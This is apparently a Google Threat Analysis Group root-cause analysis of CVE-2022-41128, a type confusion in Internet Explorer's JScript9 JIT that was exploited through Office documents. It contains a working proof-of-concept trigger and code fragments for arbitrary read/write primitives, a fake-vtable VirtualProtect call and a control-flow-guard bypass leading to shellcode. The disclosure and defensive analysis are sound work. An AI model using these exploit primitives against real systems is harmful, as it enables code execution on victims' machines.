CVE-2022-41128: Type confusion in Internet Explorer's JScript9 engine
Benoît Sevens and Clément Lecigne, Google's Threat Analysis Group (TAG)
The Basics
Disclosure Date: 8 November 2022
Product: Microsoft Windows
Advisory:
- Security bulletin: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41128
Affected Versions: Windows 7 through 11 and Windows Server 2008 through 2022, prior to the November 2022 patches
First Patched Version: Windows 7 through 11 and Windows Server 2008 through 2022 with November 2022 patches
Issue/Bug Report: N/A
Patch CL: N/A
Bug-Introducing CL: N/A
Reporter(s): Clément Lecigne and Benoît Sevens of Google's Threat Analysis Group
The Code
Proof-of-concept:
<script>
function boom(m) {
var q = d;
var l = q[0];
for (var o = 0; o < 1; o++) {
if (m) {
for (var n = 0; n < 1; n++) {
q = e;
}
q[-1] = 1;
}
}
if (m) {
q[0] = 0x42424242; // write 0x42424242 at <where>
}
}
var g = new ArrayBuffer(16);
var d = new Int32Array(g);
var e = Object({
a: 1,
b: 2,
c: 3,
d: (0x414141 - 1) / 2, // <where> for 64-bit jscript9.dll
e: (0x414141 - 1) / 2, // <where> for 32-bit jscript9.dll
});
for (var h = 0; h < 100000; h++) {
boom(false);
}
boom(true);
</script>
Exploit sample: Office document used in the wild which fetches the exploit. The exploit code itself is not available on VirusTotal.
Did you have access to the exploit sample when doing the analysis? Yes
The Vulnerability
Bug class: JIT compilation optimization issue leading to a type confusion
Vulnerability details:
The JIT compiler generates code that will perform a type check on the variable q
at the entry of the boom
function. The JIT compiler wrongly assumes the type will not change throughout the rest of the function. This assumption is broken when q
is changed from d
(an Int32Array
) to e
(an Object
). When executing q[0] = 0x42424242
, the compiled code still thinks it is dealing with the previous Int32Array
and uses the corresponding offsets. In reality, it is writing to wherever e.e
points to in the case of a 32-bit process or e.d
in the case of a 64-bit process.
Based on the patch, the bug seems to lie within a flawed check in GlobOpt::OptArraySrc
, one of the optimization phases. GlobOpt::OptArraySrc
calls ShouldExpectConventionalArrayIndexValue
and based on its return value will (in some cases wrongly) skip some code.
Patch analysis:
The patch forces the execution path down the previously skipped code, regardless of the return value of ShouldExpectConventionalArrayIndexValue
:
GlobOpt::OptArraySrc(...)
{
...
if (...
|| ...
|| GlobOpt::ShouldExpectConventionalArrayIndexValue(...)
+ || wil::details::FeatureImpl<__WilFeatureTraits_Feature_Servicing_MSRC75609_42033599>::__private_IsEnabled(...) // Returns true if "feature" is enabled
)
{
... // Always executed after patch
}
...
}
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):
This vulnerability is very similar to CVE-2021-34480 discovered by Ivan Fratric through fuzzing. Ivan provided a proof of concept for that bug.
Given the high similarity, the bug could have potentially been found through variant analysis or fuzzing, starting from Ivan's proof of concept.
(Historical/present/future) context of bug:
This bug was exploited via an Office document that loads remote HTML containing JavaScript. Office will use Internet Explorer's JScript9 engine in that case to execute the JavaScript.
Note that for the remote HTML to be fetched, the user first needs to disable protected view, which by default is active for documents downloaded from the internet.
The use of these Office documents was attributed by Google's Threat Analysis Group to the North Korean group APT37.
The Exploit
(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit strategy (or strategies):
- Use the type confusion to overwrite the length of an array object, which grants a relative read and write (R/W), and leak a vtable pointer inside
jscript9.dll
. - Use the relative write to further corrupt array objects in order to point the buffer of a
Dataview
object to arbitrary memory. This achieves arbitrary R/W. - Use the arbitrary R/W to set up a fake literal string object with a fake vtable.
- Call
VirtualProtect
via the fake vtable to make the shellcode's memory executable. - Call the shellcode.
Exploit flow:
Relative R/W and defeating ASLR
The exploit starts from the same PoC as above, setting d
to an Int32Array
. Next, it creates many Array
objects which will be adjacent in memory:
var b = new Array(256);
for (var j = 0; j < b['length']; j++) {
// Values are stored inline with the object
b[j] = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
}
The trigger then creates object e
and sets e.d
(since it will run in a 64-bit process) to array b[52]
:
e = new Object({
a: 1,
b: 3,
c: '4',
d: b[52], // Points to a Js::JavascriptNativeIntArray
e: 2
})
Then the trigger confuses the type of q
and overwrites the length of array b[52]
.
q = e; // JIT still thinks `q` points to an Int32Array, while it is now an Object
...
q[8] = 0x1fffffff; // Writes 0x1fffffff at offset 0x20 in `b[52]`, which is the length
The trigger also does a second thing: it leaks the address of the vtable pointer of b[52]
.
vtable = {
addr_low: q[0],
addr_high: q[1]
});
Note that the vtable pointer is 64 bits in size but q[0]
and q[1]
accesses 32 bits in size since it still believes it is a Int32Array
.
The exploit now achieved 2 things:
- Leaked an address inside of
jscript9.dll
- Large (enough) relative R/W primitive
Arbitrary R/W
The exploit sets an element of b[53]
(which lies right next to b[52]
) to a Dataview
object:
var arraybuffer = new ArrayBuffer(16);
var dataview = new DataView(arraybuffer);
b[53][0] = dataview;
Internally, this will cause b[53]
's buffer to be reallocated elsewhere, and not be inline anymore. The address of this buffer can be leaked now by reading out of bounds from b[52]
, since it's stored in b[53]
's header. The exploit then overwrites b[54]
's buffer pointer with this address (by writing out of bounds of b[52]
in the adjacent b[54]
header). We now have the buffer of b[53]
and b[54]
pointing to the same address, with one big difference: b[54]
still thinks it just contains 32-bit sized integers.
By setting an element of b[53]
to the dataview
object, the dataview
object pointer will be written in b[53]
's buffer and we can then obtain that pointer by reading elements of b[54]
. We then overwrite b[54]
's pointer again, this time to the dataview
object. This grants us an arbitrary R/W:
function read4(addr_low, addr_high) {
b[54][7] = addr_low; // redirect buffer of dataview
b[54][8] = addr_high;
return dataview['getUint32'](0, true); // do read
}
function write4(addr_low, addr_high, val) {
b[54][7] = addr_low; // redirect buffer of dataview
b[54][8] = addr_high;
dataview['setUint32'](0, val, true); // do write
}
Setting up a fake literal string object
With an arbitrary R/W at hand, we can leak the address of VirtualProtect:
- Starting from the leaked address in
jscript9.dll
, scan back until the base ofjscript9.dll
. - Parse the import table of
jscript9.dll
to find an arbitrary imported function fromkernel32.dll
- From this arbitrary
kernel32.dll
function, scan back until the base ofkernel32.dll
- Parse the export table of
kernel32.dll
to find the address ofVirtualProtect
.
To work towards code execution, we set up a fake literal string object. For this we create 3 strings:
- A dummy literal string: this will give us a reference vtable to copy function pointers from and the right "type" pointer.
- A compound string, consisting of 2900 spaces and 64 (0x40) "0"'s.
- A shellcode string, containing the native code we want to execute.
We can leak the address of every string with the following method:
- Set an element of
b[53]
(e.g.b[53][1]
) to the string. - Read the address of
b[53]
's buffer via an out of bounds write read fromb[52]
. - Read the address of the string from
b[53]
's buffer using our arbitrary read primitive.
Now we are ready to set up our fake object and its associated fake vtable:
- The fake vtable will be set up in the buffer of
b[56]
(because why not). It will contain:- Two legitimate functions copied from the original literal string vtable, just to not break the execution flow.
VirtualProtect
whereJs::JavascriptString::GetOriginalStringReference
is supposed to be in the vtable.
- The fake literal string object is set up at the start of the shellcode string buffer (overwriting part of the NOP sled). It has to contain:
- A pointer to our fake vtable.
- A pointer to the literal string type (copied from the original literal string).
- The length of the string, which is set to 2964.
- A pointer to the compound string.
Finally we set b[53][1]
to our fake literal string.
Code execution
Everything is set up to now redirect code execution by calling:
b[53][1]['trim']();
This will end up calling the vtable entry corresponding to Js::JavascriptString::GetOriginalStringReference
, which we have set to VirtualProtect
, with the following arguments:
lpAddress
: the address of our fake object, which is at the start of the shellcodedwSize
: 2900 (the number of spaces), which is the size of our shellcodeflNewProtect
: 64 = 0x40 =PAGE_EXECUTE_READWRITE
(the number of "0"'s)lpflOldProtect
: some writeable address we don't care too much about
Note that the call to VirtualProtect
does not violate control flow guard (CFG), since VirtualProtect
is a valid call target. Moreover, make memory executable with VirtualProtect
by default marks all its locations as valid call targets (see documentation: "The default behavior for VirtualProtect protection change to executable is to mark all locations as valid call targets for CFG"). As far as we can tell, this CFG bypass has not been publicly documented so far.
The memory containing the shellcode has now become executable and its address is allowed to be called by CFG.
All we need to do is replace VirtualProtect
in the fake vtable with the address of the shellcode (skipping the fake object) and call our vtable entry again:
b[53][1]['trim']();
Known cases of the same exploit flow: N/A
Part of an exploit chain? No. This single bug allows to run arbitrary code with user privileges, since by default Office is not sandboxed.
The Next Steps
Variant analysis
Areas/approach for variant analysis (and why): N/A
Found variants: N/A
Structural improvements
What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
Ideas to kill the bug class:
- Disable HTML rendering via Internet Explorer in Office by default.
- If not possible to disable HTML rendering completely, disable JIT compilation when rendering HTML content via Internet Explorer in Office by default.
Ideas to mitigate the exploit flow: N/A
Other potential improvements: Enable sandboxing by default in Office.
0-day detection methods
Monitor malware repositories, such as VirusTotal, for Office documents loading remote HTML content.